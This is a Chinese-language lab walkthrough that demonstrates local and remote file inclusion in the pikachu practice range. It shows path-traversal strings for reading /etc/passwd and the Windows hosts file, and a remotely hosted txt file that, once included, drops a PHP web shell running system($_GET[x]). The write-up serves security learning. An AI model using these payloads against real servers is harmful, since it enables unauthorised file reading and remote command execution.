File Inclusion(文件包含漏洞)
文件包含漏洞分为本地文件包含漏洞和远程文件包含漏洞。
上一篇文章对文件包含进行了一些学习:文件包含漏洞学习
下面通过pikachu 靶场里的 File Inclusion 模块对文件包含的两种分类进行测试。
File Inclusion(local)本地文件包含
当包含的文件在服务器本地时,就形成了本地文件包含。
进入界面,按上面的说明选择一个名字后,可以看到 url 发生了变化,通过前端传了一个文件名到后台,而后台会对指定的目标文件进行操作。
(指定的文件都是后台自己本身存在的)
根据不同的选择,包含执行了不同的文件,有file1.php 、file2.php 等。
接下来可以用后台系统的固定配置文件进行测试,即本地文件。
Linux系统和Windows系统的配置文件路径不同。
可以用多个“…/”来跳转根目录。
Windows:…/…/…/…/Windows/System32/drivers/etc/hosts
Linux:…/…/…/…/…/…/…/…/etc/passwd
然后我这里的 pikachu 靶场是装再 Windows 下的phpstudy 里的。
可以看到上面变量进行包含这个文件之后页面返回了文件里的信息。
然后我们尝试在自己的Windows下找到这个文件进行验证一下。
可以发现里面的内容和前面浏览器读取的内容是一样的。
File Inclusion(remote)远程文件包含
当包含的文件在远程服务器上时,就形成了远程文件包含。
所包含的远程文件后缀不能与目标服务器语言相同. (比如目标服务器是php解析的, 远程服务器的文件不能是php)
远程文件包含前提条件:
需要配置文件 php.ini 中 allow_url_include = on
以及 allow_url_fopen = on
刚点开界面,发现我这里存在警告,就是我的文件没有配置好,前提条件不足。
开始去查找警告存在的问题,从红色文字的警告中可以看到说是 php.ini 文件中的allow_url_include 没有打开。
因为我的靶场是用 phpstudy 装的,那就到根目录里找。
既然是要找 php 的配置文件,就打开 phpstudy 的扩展件找到 php 文件。
打开自己所安装的 PHP 版本,往下拉就可以看到 php.ini 文件。
打开文件进行编辑发现有一大堆代码,要快速找到目标位置,可以按 ctrl +F 查找,输入内容内容进行查找就可以直接跳转到目标位置了。
并且可以看到刚刚警告中告诉我们的 allow_url_include 的确没有打开,显示 Off,那就对其进行编辑改为 On 即可。
修改完之后,把phpstudy 里的中间件关闭再重新打开,再进入到靶场,可以看到警告消失了。
同样按说明选择一个名字尝试提交。
可以看到和本地包含类似,也是在可控参数filename 上传入了文件的地址。
注:’%2F‘是’/‘的 url 编码。
接下来我们可以搭建一个站点,把站点地址输入到 url 中进行测试。
尝试写入一句话木马,格式为txt文本,前面讲到不能包含同后缀的文件,是把其他类型的文件当成 php 解析。
创建的站点内容为:
<?php
$myfile = fopen("yijuhua.php","w");
$txt = '<?php system($_GET[x]);?>';
fwrite($myfile,$txt);
fclose($myfile);
?>
然后就得到远程包含的地址:
http://192.168.0.101/pikachu/test/yijuhua.txt
地址上的IP即远程那台要把文件传入服务器的计算机的IP。
通过修改变量 filename 的参数,改为远程包含文件的地址。
上传成功后,我们的文件就传到了后台服务器所在文件夹的同级目录下。
也可以看到,文件后缀由 .txt 变成了 .php,就是把 txt 当初 php 解析了。
另外,如果权限不够的话可能会出现警告报错。